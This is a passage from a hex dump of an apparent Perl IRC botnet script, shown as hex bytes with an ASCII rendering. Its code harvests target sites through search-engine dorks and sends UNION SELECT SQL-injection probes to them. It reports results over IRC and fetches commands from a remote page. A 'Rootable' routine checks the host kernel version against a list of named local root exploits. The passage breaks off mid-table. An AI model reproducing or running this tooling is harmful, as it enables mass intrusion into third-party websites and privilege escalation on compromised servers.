28224: 616C746176697374612824646F726B293B0D0A20202020202020202020202020          altavista($dork);
28256: 20202020202020202020206D792040736C6973743D267365617263682824646F          my @slist=&search($do
28288: 726B293B0D0A2020202020202020202020202020202020202020202020206D79          rk); my
28320: 2040756C6973743D26756F6C2824646F726B293B0D0A20202020202020202020          @ulist=&uol($dork);
28352: 20202020202020202020202020206D7920406669726562616C6C3D2666697265          my @fireball=&fire
28384: 62616C6C2824646F726B293B2020200D0A20202020202020202020202073656E          ball($dork); sen
28416: 6472617728244952435F6375725F736F636B65742C2022505249564D53472024          draw($IRC_cur_socket, "PRIVMSG $
28448: 7072696E746C203A03345B02033440033353514C2D5363616E6E657202033132          printl :4[4@3SQL-Scanner12
28480: 5D033132021F03200203324703346F03386F03326703336C0334650320021F03          ]12 2G4o8o2g3l4e 
28512: 375B03021F222E7363616C61722840676C697374292E22021F03375D03021F20          7[".scalar(@glist)."7]
28544: 536974657322293B0D0A20202020202020202020202073656E64726177282449          Sites"); sendraw($I
28576: 52435F6375725F736F636B65742C2022505249564D534720247072696E746C20          RC_cur_socket, "PRIVMSG $printl
28608: 3A03345B02033440033353514C2D5363616E6E6572020331325D03313220034D          :4[4@3SQL-Scanner12]12 M
28640: 534E20021F03375B03021F222E7363616C617228406D6C697374292E22021F03          SN 7[".scalar(@mlist)."
28672: 375D03021F20536974657322293B0D0A20202020202020202020202073656E64          7] Sites"); send
28704: 72617728244952435F6375725F736F636B65742C2022505249564D5347202470          raw($IRC_cur_socket, "PRIVMSG $p
28736: 72696E746C203A03345B02033440033353514C2D5363616E6E6572020331325D          rintl :4[4@3SQL-Scanner12]
28768: 0331322003416C6C54686557656220021F03375B03021F222E7363616C617228          12 AllTheWeb 7[".scalar(
28800: 40616C6C697374292E22021F03375D03021F20536974657322293B0D0A202020          @allist)."7] Sites");
28832: 20202020202020202073656E6472617728244952435F6375725F736F636B6574          sendraw($IRC_cur_socket
28864: 2C2022505249564D534720247072696E746C203A03345B02033440033353514C          , "PRIVMSG $printl :4[4@3SQL
28896: 2D5363616E6E6572020331325D033132200341736B2E636F6D20021F03375B03          -Scanner12]12 Ask.com 7[
28928: 021F222E7363616C6172284061736B6C697374292E22021F03375D03021F2053          ".scalar(@asklist)."7] S
28960: 6974657322293B0D0A20202020202020202020202073656E6472617728244952          ites"); sendraw($IR
28992: 435F6375725F736F636B65742C2022505249564D534720247072696E746C203A          C_cur_socket, "PRIVMSG $printl :
29024: 03345B02033440033353514C2D5363616E6E6572020331325D0331322003414F          4[4@3SQL-Scanner12]12 AO
29056: 4C20021F03375B03021F222E7363616C61722840616F6C6C697374292E22021F          L 7[".scalar(@aollist)."
29088: 03375D03021F20536974657322293B0D0A20202020202020202020202073656E          7] Sites"); sen
29120: 6472617728244952435F6375725F736F636B65742C2022505249564D53472024          draw($IRC_cur_socket, "PRIVMSG $
29152: 7072696E746C203A03345B02033440033353514C2D5363616E6E657202033132          printl :4[4@3SQL-Scanner12
29184: 5D03313220034C79636F7320021F03375B03021F222E7363616C617228406C79          ]12 Lycos 7[".scalar(@ly
29216: 636F73292E22021F03375D03021F20536974657322293B0D0A20202020202020          cos)."7] Sites");
29248: 202020202073656E6472617728244952435F6375725F736F636B65742C202250          sendraw($IRC_cur_socket, "P
29280: 5249564D534720247072696E746C203A03345B02033440033353514C2D536361          RIVMSG $printl :4[4@3SQL-Sca
29312: 6E6E6572020331325D03313220035961686F6F2120021F03375B03021F222E73          nner12]12 Yahoo! 7[".s
29344: 63616C61722840796C697374292E22021F03375D03021F20536974657322293B          calar(@ylist)."7] Sites");
29376: 0D0A20202020202020202020202073656E6472617728244952435F6375725F73          sendraw($IRC_cur_s
29408: 6F636B65742C2022505249564D534720247072696E746C203A03345B02033440          ocket, "PRIVMSG $printl :4[4@
29440: 033353514C2D5363616E6E6572020331325D03313220034D6F7A426F7420021F          3SQL-Scanner12]12 MozBot 
29472: 03375B03021F222E7363616C617228406D7A6C697374292E22021F03375D0302          7[".scalar(@mzlist)."7]
29504: 1F20536974657322293B0D0A20202020202020202020202073656E6472617728           Sites"); sendraw(
29536: 244952435F6375725F736F636B65742C2022505249564D534720247072696E74          $IRC_cur_socket, "PRIVMSG $print
29568: 6C203A03345B02033440033353514C2D5363616E6E6572020331325D03313220          l :4[4@3SQL-Scanner12]12
29600: 034D616D6120021F03375B03021F222E7363616C617228406D616D616C697374          Mama 7[".scalar(@mamalist
29632: 292E22021F03375D03021F20536974657322293B0D0A20202020202020202020          )."7] Sites");
29664: 202073656E6472617728244952435F6375725F736F636B65742C202250524956          sendraw($IRC_cur_socket, "PRIV
29696: 4D534720247072696E746C203A03345B02033440033353514C2D5363616E6E65          MSG $printl :4[4@3SQL-Scanne
29728: 72020331325D0331322003486F74426F7420021F03375B03021F222E7363616C          r12]12 HotBot 7[".scal
29760: 61722840686C697374292E22021F03375D03021F20536974657322293B0D0A20          ar(@hlist)."7] Sites");
29792: 202020202020202020202073656E6472617728244952435F6375725F736F636B          sendraw($IRC_cur_sock
29824: 65742C2022505249564D534720247072696E746C203A03345B02033440033353          et, "PRIVMSG $printl :4[4@3S
29856: 514C2D5363616E6E6572020331325D0331322003416C7461766973746120021F          QL-Scanner12]12 Altavista 
29888: 03375B03021F222E7363616C61722840616C746C697374292E22021F03375D03          7[".scalar(@altlist)."7]
29920: 021F20536974657322293B0D0A20202020202020202020202073656E64726177           Sites"); sendraw
29952: 28244952435F6375725F736F636B65742C2022505249564D534720247072696E          ($IRC_cur_socket, "PRIVMSG $prin
29984: 746C203A03345B02033440033353514C2D5363616E6E6572020331325D033132          tl :4[4@3SQL-Scanner12]12
30016: 20035365617263685B646F745D636F6D20021F03375B03021F222E7363616C61          Search[dot]com 7[".scala
30048: 722840736C697374292E22021F03375D03021F20536974657322293B0D0A2020          r(@slist)."7] Sites");
30080: 2020202020202020202073656E6472617728244952435F6375725F736F636B65          sendraw($IRC_cur_socke
30112: 742C2022505249564D534720247072696E746C203A03345B0203344003335351          t, "PRIVMSG $printl :4[4@3SQ
30144: 4C2D5363616E6E6572020331325D0331322003556F4C20021F03375B03021F22          L-Scanner12]12 UoL 7["
30176: 2E7363616C61722840756C697374292E22021F03375D03021F20536974657322          .scalar(@ulist)."7] Sites"
30208: 293B0D0A20202020202020202020202073656E6472617728244952435F637572          ); sendraw($IRC_cur
30240: 5F736F636B65742C2022505249564D534720247072696E746C203A03345B0203          _socket, "PRIVMSG $printl :4[
30272: 3440033353514C2D5363616E6E6572020331325D03313220034669726542616C          4@3SQL-Scanner12]12 FireBal
30304: 6C20021F03375B03021F222E7363616C61722840666C697374292E22021F0337          l 7[".scalar(@flist)."7
30336: 5D03021F20536974657322293B0D0A2020202020202020202020200D0A202020          ] Sites");
30368: 20202020202020202070757368286D792040746F742C2040676C6973742C2040          push(my @tot, @glist, @
30400: 6D6C6973742C2040616C6973742C2040616C6C6973742C204061736B6C697374          mlist, @alist, @allist, @asklist
30432: 2C2040616F6C6C6973742C20406C79636F732C2040796C6973742C20406D7A6C          , @aollist, @lycos, @ylist, @mzl
30464: 6973742C20406D616D616C6973742C2040686C6973742C40616C746C6973742C          ist, @mamalist, @hlist,@altlist,
30496: 2040736C6973742C2040756C6973742C2040666C69737420293B0D0A20202020          @slist, @ulist, @flist );
30528: 20202020202020200D0A20202020202020202020202073656E64726177282449          sendraw($I
30560: 52435F6375725F736F636B65742C2022505249564D534720247072696E746C20          RC_cur_socket, "PRIVMSG $printl
30592: 3A03342C3136205B207363616E205D20035B2003313246696C7472756A650334          :4,16 [ scan ] [ 12Filtruje4
30624: 205D5B20222E7363616C61722840746F74292E22200331325374726F6E033420          ][ ".scalar(@tot)." 12Stron4
30656: 5D2022293B0D0A2020202020202020202020206D79204070756C6974693D2675          ] "); my @puliti=&u
30688: 6E6963692840746F74293B0D0A2020202020202020202020200D0A2020202020          nici(@tot);
30720: 2020202020202073656E6472617728244952435F6375725F736F636B65742C20          sendraw($IRC_cur_socket,
30752: 22505249564D534720247072696E746C203A03342C3136205B2053514C205D20          "PRIVMSG $printl :4,16 [ SQL ]
30784: 035B2003313224646F726B0334205D5B20222E7363616C6172284070756C6974          [ 12$dork4 ][ ".scalar(@pulit
30816: 69292E22200331325374726F6E0334205D2022293B0D0A202020202020202020          i)." 12Stron4 ] ");
30848: 0D0A2020202020202020202020206D792024756E693D7363616C617228407075          my $uni=scalar(@pu
30880: 6C697469293B0D0A2020202020202020202020202020202020200D0A20202020          liti);
30912: 2020202020202020202020202020666F7265616368206D7920247369746F2028          foreach my $sito (
30944: 4070756C69746929207B0D0A20202020202020202020202020200D0A20202020          @puliti) {
30976: 202020202020202020202020202024636F6E7461746F72652B2B3B0D0A202020          $contatore++;
31008: 20202020202020202020202020202020206966202824636F6E7461746F726520          if ($contatore
31040: 25353D3D30297B0D0A2020202020202020202020202020202020202020202020          %5== ){
31072: 73656E6472617728244952435F6375725F736F636B65742C2022505249564D53          sendraw($IRC_cur_socket, "PRIVMS
31104: 4720247072696E746C203A03342C3136205B207363616E205D20035B20033132          G $printl :4,16 [ scan ] [ 12
31136: 536B616E756A650334205D5B20222E24636F6E7461746F72652E22200331327A          Skanuje4 ][ ".$contatore." 12z
31168: 033420222E24756E692E2022200331325374726F6E0334205D2022293B0D0A20          4 ".$uni. " 12Stron4 ] ");
31200: 202020202020202020202020202020202020207D0D0A20202020202020202020          }
31232: 2020202020202020736C65657020333B0D0A2020202020202020202020202020          sleep 3;
31264: 2020202020206966202824636F6E7461746F72653D3D24756E692D31297B0D0A          if ($contatore==$uni-1){
31296: 20202020202020202020202020202020202020202073656E6472617728244952          sendraw($IR
31328: 435F6375725F736F636B65742C2022505249564D534720247072696E746C203A          C_cur_socket, "PRIVMSG $printl :
31360: 03342C3136205B207363616E205D20035B200331324B6F6E6965633A03342024          4,16 [ scan ] [ 12Koniec:4 $
31392: 6275672024646F726B205D2022293B0D0A202020202020202020202020202020          bug $dork ] ");
31424: 20202020207D2020200D0A202020202020202020202020202020202020736C65          } sle
31456: 657020333B0D0A20202020202020202020202020202020202020206D79202473          ep 3; my $s
31488: 6974653D22687474703A2F2F222E247369746F2E246275673B0D0A2020202020          ite="http://".$sito.$bug;
31520: 2020202020202020202020202073656E6472617728244952435F6375725F736F          sendraw($IRC_cur_so
31552: 636B65742C2022505249564D534720247072696E746C203A03342C3136205B20          cket, "PRIVMSG $printl :4,16 [
31584: 73716C205D20035B200331325370726177647A616D3A20033424736974652003          sql ] [ 12Sprawdzam: 4$site 
31616: 3132636F6C733A2003342024636F6C756D6E73205D2022293B0D0A2020202020          12cols: 4 $columns ] ");
31648: 202020200D0A20202020202020202024773D696E742072616E6428393939293B          $w=int rand(999);
31680: 2020200D0A20202020202020202024773D24772A313030303B0D0A2020202020          $w=$w*1   ;
31712: 20202020666F722824693D313B24693C3D24636F6C756D6E733B24692B2B2920          for($i=1;$i<=$columns;$i++)
31744: 7B0D0A20202020202020202020202073706C6963652840636F6C2C302C242363          { splice(@col, ,$#c
31776: 6F6C2B31293B0D0A202020202020202020202020666F7228246A3D313B246A3C          ol+1); for($j=1;$j<
31808: 3D24693B246A2B2B29207B0D0A20202020202020202020202020202070757368          =$i;$j++) { push
31840: 2840636F6C2C24772B246A293B0D0A2020202020202020202020207D2020200D          (@col,$w+$j); }
31872: 0A20202020202020202020202024746D703D6A6F696E28222C222C40636F6C29          $tmp=join(",",@col)
31904: 3B0D0A20202020202020202020202024746573743D24736974652E222D312B55          ; $test=$site."-1+U
31936: 4E494F4E2B53454C4543542B222E24746D702E222F2A223B0D0A202020202020          NION+SELECT+".$tmp."/*";
31968: 2020202020207072696E742024746573742E225C6E223B0D0A20202020202020          print $test."\n";
32000: 202020202024726573756C743D6765745F68746D6C282474657374293B0D0A20          $result=get_html($test);
32032: 202020202020202020202024726573756C74203D7E20732F5C2F5C2A5C2A5C2F          $result =~ s/\/\*\*\/
32064: 2F2F673B0D0A20202020202020202020202024726573756C74203D7E20732F55          //g; $result =~ s/U
32096: 4E494F4E285B5E285C2A295D2A292F2F673B0D0A202020202020202020202020          NION([^(\*)]*)//g;
32128: 666F7228246B3D313B246B3C3D24693B246B2B2B29207B0D0A20202020202020          for($k=1;$k<=$i;$k++) {
32160: 2020202020202020246E3D24772B246B3B0D0A20202020202020202020202020          $n=$w+$k;
32192: 202020202069662824726573756C74203D7E202F246E2F297B0D0A2020202020          if($result =~ /$n/){
32224: 2020202020202020202020202020202073706C6963652840636F6C322C302C24          splice(@col2, ,$
32256: 23636F6C322B31293B0D0A202020202020202020202020202020202020202020          #col2+1);
32288: 202020666F722824733D313B24733C3D24693B24732B2B29207B0D0A20202020          for($s=1;$s<=$i;$s++) {
32320: 2020202020202020202020202020202020202020202020707573682840636F6C          push(@col
32352: 322C2473293B200D0A2020202020202020202020202020202020202020202020          2,$s);
32384: 207D0D0A20202020202020202020202020202020202020202024746D70323D6A          } $tmp2=j
32416: 6F696E28222C222C40636F6C32293B0D0A202020202020202020202020202020          oin(",",@col2);
32448: 2020202020202474657374323D222B554E494F4E2B53454C4543542B222E2474          $test2="+UNION+SELECT+".$t
32480: 6D70322E222F2A223B0D0A202020202020202020202020202020202020202020          mp2."/*";
32512: 7075736820407B2464616E657B2474657374327D7D2C246B3B0D0A2020202020          push @{$dane{$test2}},$k;
32544: 202020202020202020202020207D200D0A2020202020202020202020207D0D0A          } }
32576: 2020202020202020207D0D0A202020202020202020666F7220246B6C75637A20          } for $klucz
32608: 286B657973202564616E6529207B0D0A202020202020202020202020666F7265          (keys %dane) { fore
32640: 61636820246928407B2464616E657B246B6C75637A7D7D29207B0D0A20202020          ach $i(@{$dane{$klucz}}) {
32672: 2020202020202020202020246B6C75637A203D7E20732F24692F022469022F3B          $klucz =~ s/$i/$i/;
32704: 0D0A2020202020202020202020207D0D0A20202020202020202020202073656E          } sen
32736: 6472617728244952435F6375725F736F636B65742C2022505249564D53472024          draw($IRC_cur_socket, "PRIVMSG $
32768: 7072696E746C203A0331332C31205B200276756C6E02205D2003392C31205B20          printl :13,1 [ vuln ] 9,1 [
32800: 20222E24736974652E222D31222E246B6C75637A2E2220205D20032022293B0D          ".$site."-1".$klucz." ]  ");
32832: 0A2020202020202020207D0D0A2020202020202020202564616E653D28293B20          } %dane=();
32864: 20202020200D0A2020202020202020202020207D0D0A2020202020207D0D0A20          } }
32896: 202064656C70726F63282424293B0D0A202020657869743B0D0A2020207D0D0A          delproc($$); exit; }
32928: 7D0D0A23232323232323202053514C205343414E4E4552202023232323232323          } ####### SQL SCANNER #######
32960: 23230D0A0D0A696620282466756E63617267203D7E202F5E6175746F7363616E          ## if ($funcarg =~ /^autoscan
32992: 5C732B282E2A295C732B687474705C3A5C2F5C2F282E2A3F295C2F282E2A3F29          \s+(.*)\s+http\:\/\/(.*?)\/(.*?)
33024: 5C732B285C642B292F297B0D0A696620286D792024706964203D20666F726B29          \s+(\d+)/){ if (my $pid = fork)
33056: 207B0D0A7761697470696428247069642C2030293B0D0A7D20656C7365207B0D          { waitpid($pid,  ); } else {
33088: 0A696620286D792024643D666F726B282929207B0D0A61646470726F63282464          if (my $d=fork()) { addproc($d
33120: 2C225B537472696E675D20243222293B0D0A657869743B0D0A7D20656C736520          ,"[String] $2"); exit; } else
33152: 7B0D0A202020202020246B746F203D2024313B0D0A20202020202024686F7374          { $kto = $1; $host
33184: 203D2024323B0D0A20202020202024736B72797074203D2024333B0D0A202020          = $2; $skrypt = $3;
33216: 20202024637A656B61633D24343B0D0A2020202020200D0A2020202020202368          $czekac=$4; #h
33248: 7474703A2F2F74746C2E7567752E706C2F737472696E672F696E6465782E7068          ttp://ttl.ugu.pl/string/index.ph
33280: 700D0A2020202020206D792024736F636B65203D20494F3A3A536F636B65743A          p my $socke = IO::Socket:
33312: 3A494E45542D3E6E65772850656572416464723D3E24686F73742C5065657250          :INET->new(PeerAddr=>$host,PeerP
33344: 6F72743D3E223830222C50726F746F3D3E227463702229206F72207265747572          ort=>"8 ",Proto=>"tcp") or retur
33376: 6E3B0D0A2020202020207072696E742024736F636B652022474554202F24736B          n; print $socke "GET /$sk
33408: 7279707420485454502F312E305C725C6E486F73743A2024686F73745C725C6E          rypt HTTP/1. \r\nHost: $host\r\n
33440: 4163636570743A202A2F2A5C725C6E557365722D4167656E743A204D6F7A696C          Accept: */*\r\nUser-Agent: Mozil
33472: 6C612F352E305C725C6E5C725C6E223B0D0A2020202020200D0A202020202020          la/5. \r\n\r\n";
33504: 6D79204072203D203C24736F636B653E3B0D0A20202020202024706167653D22          my @r = <$socke>; $page="
33536: 4072223B0D0A2020200D0A2020202020202470616765203D7E20732F21736361          @r"; $page =~ s/!sca
33568: 6E285C732B292F2F673B0D0A2020202020202470616765203D7E20732F217363          n(\s+)//g; $page =~ s/!sc
33600: 616E282E292F2F673B0D0A2020202020202470616765203D7E20732F5C3C2E2A          an(.)//g; $page =~ s/\<.*
33632: 5C3E2F2F673B0D0A2020202020200D0A202020202020406C696E6573203D2073          \>//g; @lines = s
33664: 706C697420282F5C6E2F2C202470616765293B0D0A20202020202024696C653D          plit (/\n/, $page); $ile=
33696: 7363616C617228406C696E6573293B0D0A2020202020202020202020200D0A20          scalar(@lines);
33728: 20202020200D0A202020202020666F722824693D393B24693C3D24696C653B24          for($i=9;$i<=$ile;$
33760: 692B3D3429207B0D0A0D0A202020202020202020666F7228246A3D303B246A3C          i+=4) { for($j= ;$j<
33792: 343B246A2B2B29207B0D0A202020202020202020202020237072696E7420246C          4;$j++) { #print $l
33824: 696E65735B24692B246A5D2E225C6E223B0D0A2020202020202020202020200D          ines[$i+$j]."\n";
33856: 0A20202020202020202020202073656E6472617728244952435F6375725F736F          sendraw($IRC_cur_so
33888: 636B65742C2022505249564D534720247072696E746C203A246B746F20246C69          cket, "PRIVMSG $printl :$kto $li
33920: 6E65735B24692B246A5D22293B0D0A2020202020202020202020200D0A202020          nes[$i+$j]");
33952: 202020202020202020736C6565702031303B0D0A2020202020202020207D0D0A          sleep 1 ; }
33984: 2020202020202020200D0A202020202020202020736C6565702024637A656B61          sleep $czeka
34016: 632A36303B0D0A2020202020207D0D0A0D0A2020207D0D0A2020202020206465          c*6 ; } } de
34048: 6C70726F63282424293B0D0A202020202020657869743B0D0A2020207D0D0A7D          lproc($$); exit; } }
34080: 0D0A0D0A0D0A0D0A0D0A0D0A23232323232323202053514C205343414E4E4552          ####### SQL SCANNER
34112: 20202323232323232323230D0A0D0A696620282466756E63617267203D7E202F          ######### if ($funcarg =~ /
34144: 5E73716C5C732B282E2A295C732B285C642B292F297B0D0A202020696620286D          ^sql\s+(.*)\s+(\d+)/){ if (m
34176: 792024706964203D20666F726B282929207B0D0A202020202020776169747069          y $pid = fork()) { waitpi
34208: 6428247069642C2030293B0D0A2020207D20656C7365207B0D0A202020202020          d($pid,  ); } else {
34240: 696620286D792024643D666F726B282929207B0D0A2020202020202020206164          if (my $d=fork()) { ad
34272: 6470726F632824642C225B53514C315D20243120243222293B0D0A2020202020          dproc($d,"[SQL1] $1 $2");
34304: 20202020657869743B0D0A2020202020207D20656C7365207B0D0A2020202020          exit; } else {
34336: 202020206D792024736974653D24313B0D0A2020202020202020206D79202463          my $site=$1; my $c
34368: 6F6C756D6E733D24323B0D0A20202020202020202073656E6472617728244952          olumns=$2; sendraw($IR
34400: 435F6375725F736F636B65742C2022505249564D534720247072696E746C203A          C_cur_socket, "PRIVMSG $printl :
34432: 03342C3136205B2073716C205D20035B200331325370726177647A616D3A2003          4,16 [ sql ] [ 12Sprawdzam: 
34464: 34247369746520033132636F6C733A2003342024636F6C756D6E73205D202229          4$site 12cols: 4 $columns ] ")
34496: 3B0D0A2020202020202020200D0A20202020202020202024773D696E74207261          ; $w=int ra
34528: 6E6428393939293B2020200D0A20202020202020202024773D24772A31303030          nd(999); $w=$w*1   
34560: 3B0D0A202020202020202020666F722824693D313B24693C3D24636F6C756D6E          ; for($i=1;$i<=$column
34592: 733B24692B2B29207B0D0A20202020202020202020202073706C696365284063          s;$i++) { splice(@c
34624: 6F6C2C302C2423636F6C2B31293B0D0A202020202020202020202020666F7228          ol, ,$#col+1); for(
34656: 246A3D313B246A3C3D24693B246A2B2B29207B0D0A2020202020202020202020          $j=1;$j<=$i;$j++) {
34688: 20202020707573682840636F6C2C24772B246A293B0D0A202020202020202020          push(@col,$w+$j);
34720: 2020207D2020200D0A20202020202020202020202024746D703D6A6F696E2822          } $tmp=join("
34752: 2C222C40636F6C293B0D0A20202020202020202020202024746573743D247369          ,",@col); $test=$si
34784: 74652E246275672E222D312B554E494F4E2B53454C4543542B222E24746D702E          te.$bug."-1+UNION+SELECT+".$tmp.
34816: 222F2A223B0D0A20202020202020202020202020202020202020202020202023          "/*"; #
34848: 24726573756C743D7175657279282474657374293B0D0A202020202020202020          $result=query($test);
34880: 20202024726573756C743D6765745F68746D6C282474657374293B0D0A202020          $result=get_html($test);
34912: 0D0A20202020202020202020202024726573756C74203D7E20732F5C2F5C2A5C          $result =~ s/\/\*\
34944: 2A5C2F2F2F673B0D0A20202020202020202020202024726573756C74203D7E20          *\///g; $result =~
34976: 732F554E494F4E285B5E285C2A295D2A292F2F673B0D0A202020202020202020          s/UNION([^(\*)]*)//g;
35008: 202020666F7228246B3D313B246B3C3D24693B246B2B2B29207B0D0A20202020          for($k=1;$k<=$i;$k++) {
35040: 2020202020202020202020246E3D24772B246B3B0D0A20202020202020202020          $n=$w+$k;
35072: 202020202020202069662824726573756C74203D7E202F246E2F297B0D0A2020          if($result =~ /$n/){
35104: 2020202020202020202020202020202020202073706C6963652840636F6C322C          splice(@col2,
35136: 302C2423636F6C322B31293B0D0A202020202020202020202020202020202020           ,$#col2+1);
35168: 202020202020666F722824733D313B24733C3D24693B24732B2B29207B0D0A20          for($s=1;$s<=$i;$s++) {
35200: 2020202020202020202020202020202020202020202020202020707573682840          push(@
35232: 636F6C322C2473293B200D0A2020202020202020202020202020202020202020          col2,$s);
35264: 202020207D0D0A20202020202020202020202020202020202020202024746D70          } $tmp
35296: 323D6A6F696E28222C222C40636F6C32293B0D0A202020202020202020202020          2=join(",",@col2);
35328: 2020202020202020202474657374323D222B554E494F4E2B53454C4543542B22          $test2="+UNION+SELECT+"
35360: 2E24746D70322E222F2A223B0D0A202020202020202020202020202020202020          .$tmp2."/*";
35392: 2020207075736820407B2464616E657B2474657374327D7D2C246B3B0D0A2020          push @{$dane{$test2}},$k;
35424: 202020202020202020202020202020207D200D0A202020202020202020202020          }
35456: 7D0D0A2020202020202020207D0D0A202020202020202020666F7220246B6C75          } } for $klu
35488: 637A20286B657973202564616E6529207B0D0A20202020202020202020202066          cz (keys %dane) { f
35520: 6F726561636820246928407B2464616E657B246B6C75637A7D7D29207B0D0A20          oreach $i(@{$dane{$klucz}}) {
35552: 2020202020202020202020202020246B6C75637A203D7E20732F24692F022469          $klucz =~ s/$i/$i
35584: 022F3B0D0A2020202020202020202020207D0D0A202020202020202020202020          /; }
35616: 73656E6472617728244952435F6375725F736F636B65742C2022505249564D53          sendraw($IRC_cur_socket, "PRIVMS
35648: 4720247072696E746C203A0331332C31205B200276756C6E02205D2003392C31          G $printl :13,1 [ vuln ] 9,1
35680: 205B2020222E24736974652E246275672E222D31222E246B6C75637A2E222020          [ ".$site.$bug."-1".$klucz."
35712: 5D20032022293B0D0A2020202020202020207D0D0A2020202020202020207365          ]  "); } se
35744: 6E6472617728244952435F6375725F736F636B65742C2022505249564D534720          ndraw($IRC_cur_socket, "PRIVMSG
35776: 247072696E746C203A03342C3136205B2073716C205D20035B200331324B6F6E          $printl :4,16 [ sql ] [ 12Kon
35808: 696563200334205D2022293B2020202020200D0A2020202020207D0D0A202020          iec 4 ] "); }
35840: 64656C70726F63282424293B0D0A202020657869743B0D0A2020207D0D0A7D0D          delproc($$); exit; } }
35872: 0A23232323232323202053514C205343414E4E45522020232323232323232323          ####### SQL SCANNER #########
35904: 0D0A232323232323232323232323232323232323232323230D0A232020202020          ###################### #
35936: 202020526F6F7461626C65202020202020202020202020202020202020202020          Rootable
35968: 20202020202020202020202020202020230D0A23232323232323232323232323          # #############
36000: 2323232323232323230D0A696620282466756E63617267203D7E202F5E726F6F          ######### if ($funcarg =~ /^roo
36032: 7461626C652F29207B200D0A6D7920246B686F7374203D2060756E616D65202D          table/) { my $khost = `uname -
36064: 72603B0D0A6D79202463757272656E746964203D206077686F616D69603B0D0A          r`; my $currentid = `whoami`;
36096: 73656E6472617728244952435F6375725F736F636B65742C2022505249564D53          sendraw($IRC_cur_socket, "PRIVMS
36128: 4720247072696E746C203A0331325B020334400333526F6F7461626C65020331          G $printl :12[4@3Rootable1
36160: 325D2043757272656E746C7920796F752061726520222E2463757272656E7469          2] Currently you are ".$currenti
36192: 642E222022293B0D0A73656E6472617728244952435F6375725F736F636B6574          d." "); sendraw($IRC_cur_socket
36224: 2C2022505249564D534720247072696E746C203A0331325B020334400333526F          , "PRIVMSG $printl :12[4@3Ro
36256: 6F7461626C65020331325D20546865206B65726E656C206F6620746869732062          otable12] The kernel of this b
36288: 6F7820697320222E246B686F73742E222022293B0D0A63686F6D7028246B686F          ox is ".$khost." "); chomp($kho
36320: 7374293B0D0A0D0A2020206D792025683B0D0A20202024687B2777303074277D          st); my %h; $h{'w  t'}
36352: 203D207B200D0A20202020202076756C6E3D3E5B27322E342E3138272C27322E          = { vuln=>['2.4.18','2.
36384: 342E3130272C27322E342E3231272C27322E342E3139272C27322E342E313727          4.1 ','2.4.21','2.4.19','2.4.17'
36416: 2C27322E342E3136272C27322E342E3230275D200D0A2020207D3B0D0A202020          ,'2.4.16','2.4.2 '] };
36448: 0D0A20202024687B2762726B277D203D207B0D0A20202020202076756C6E3D3E          $h{'brk'} = { vuln=>
36480: 5B27322E342E3232272C27322E342E3231272C27322E342E3130272C27322E34          ['2.4.22','2.4.21','2.4.1 ','2.4
36512: 2E3230275D200D0A2020207D3B0D0A2020200D0A20202024687B27617665277D          .2 '] }; $h{'ave'}
36544: 203D207B0D0A20202020202076756C6E3D3E5B27322E342E3139272C27322E34          = { vuln=>['2.4.19','2.4
36576: 2E3230275D200D0A2020207D3B0D0A2020200D0A20202024687B27656C666C62          .2 '] }; $h{'elflb
36608: 6C277D203D207B0D0A20202020202076756C6E3D3E5B27322E342E3239275D20          l'} = { vuln=>['2.4.29']
36640: 0D0A2020207D3B0D0A2020200D0A20202024687B27656C6664756D70277D203D          }; $h{'elfdump'} =
36672: 207B0D0A20202020202076756C6E3D3E5B27322E342E3237275D0D0A2020207D          { vuln=>['2.4.27'] }
36704: 3B0D0A2020200D0A20202024687B27657870616E645F737461636B277D203D20          ; $h{'expand_stack'} =
36736: 7B0D0A20202020202076756C6E3D3E5B27322E342E3239275D200D0A2020207D          { vuln=>['2.4.29'] }
36768: 3B0D0A2020200D0A20202024687B276830306C7973686974277D203D207B0D0A          ; $h{'h  lyshit'} = {
36800: 20202020202076756C6E3D3E5B27322E362E38272C27322E362E3130272C2732          vuln=>['2.6.8','2.6.1 ','2
36832: 2E362E3131272C27322E362E39272C27322E362E37272C27322E362E3133272C          .6.11','2.6.9','2.6.7','2.6.13',
36864: 27322E362E3134272C27322E362E3135272C27322E362E3136272C27322E362E          '2.6.14','2.6.15','2.6.16','2.6.
36896: 32275D0D0A2020207D3B0D0A2020200D0A20202024687B276B64756D70277D20          2'] }; $h{'kdump'}
36928: 3D207B0D0A20202020202076756C6E3D3E5B27322E362E3133275D200D0A2020          = { vuln=>['2.6.13']
36960: 207D3B0D0A2020200D0A20202024687B276B6D32277D203D207B0D0A20202020          }; $h{'km2'} = {
36992: 202076756C6E3D3E5B27322E342E3138272C27322E342E3232275D0D0A202020          vuln=>['2.4.18','2.4.22']
37024: 7D3B0D0A2020200D0A20202024687B276B726164277D203D207B0D0A20202020          }; $h{'krad'} = {
37056: 202076756C6E3D3E5B27322E362E3131275D0D0A2020207D3B0D0A2020200D0A          vuln=>['2.6.11'] };
37088: 20202024687B276B72616433277D203D207B0D0A20202020202076756C6E3D3E          $h{'krad3'} = { vuln=>
37120: 5B27322E362E3131272C27322E362E39275D0D0A2020207D3B0D0A2020200D0A          ['2.6.11','2.6.9'] };
37152: 20202024687B276C6F63616C3236277D203D207B0D0A20202020202076756C6E          $h{'local26'} = { vuln
37184: 3D3E5B27322E362E3133275D0D0A2020207D3B0D0A2020200D0A20202024687B          =>['2.6.13'] }; $h{
37216: 276C6F6B6F277D203D207B0D0A20202020202076756C6E3D3E5B27322E342E32          'loko'} = { vuln=>['2.4.2
37248: 32272C27322E342E3233272C27322E342E3234275D200D0A2020207D3B0D0A20          2','2.4.23','2.4.24'] };
37280: 20200D0A20202024687B276D72656D61705F707465277D203D207B0D0A202020          $h{'mremap_pte'} = {
37312: 20202076756C6E3D3E5B27322E342E3230272C27322E322E3235272C27322E34          vuln=>['2.4.2 ','2.2.25','2.4
37344: 2E3234275D200D0A2020207D3B0D0A2020200D0A20202024687B276E65776C6F          .24'] }; $h{'newlo
37376: 63616C277D203D207B0D0A20202020202076756C6E3D3E5B27322E342E313727          cal'} = { vuln=>['2.4.17'
37408: 2C27322E342E3139272C27322E342E3138275D200D0A2020207D3B0D0A202020          ,'2.4.19','2.4.18'] };
37440: 0D0A20202024687B276F6E675F62616B277D203D207B0D0A2020202020207675          $h{'ong_bak'} = { vu
37472: 6C6E3D3E5B27322E342E272C27322E362E275D200D0A2020207D3B0D0A202020          ln=>['2.4.','2.6.'] };
37504: 0D0A20202024687B27707472616365277D203D207B0D0A20202020202076756C          $h{'ptrace'} = { vul
37536: 6E3D3E5B27322E322E272C27322E342E3232275D200D0A2020207D3B0D0A2020          n=>['2.2.','2.4.22'] };
37568: 200D0A20202024687B277074726163655F6B6D6F64277D203D207B0D0A202020          $h{'ptrace_kmod'} = {
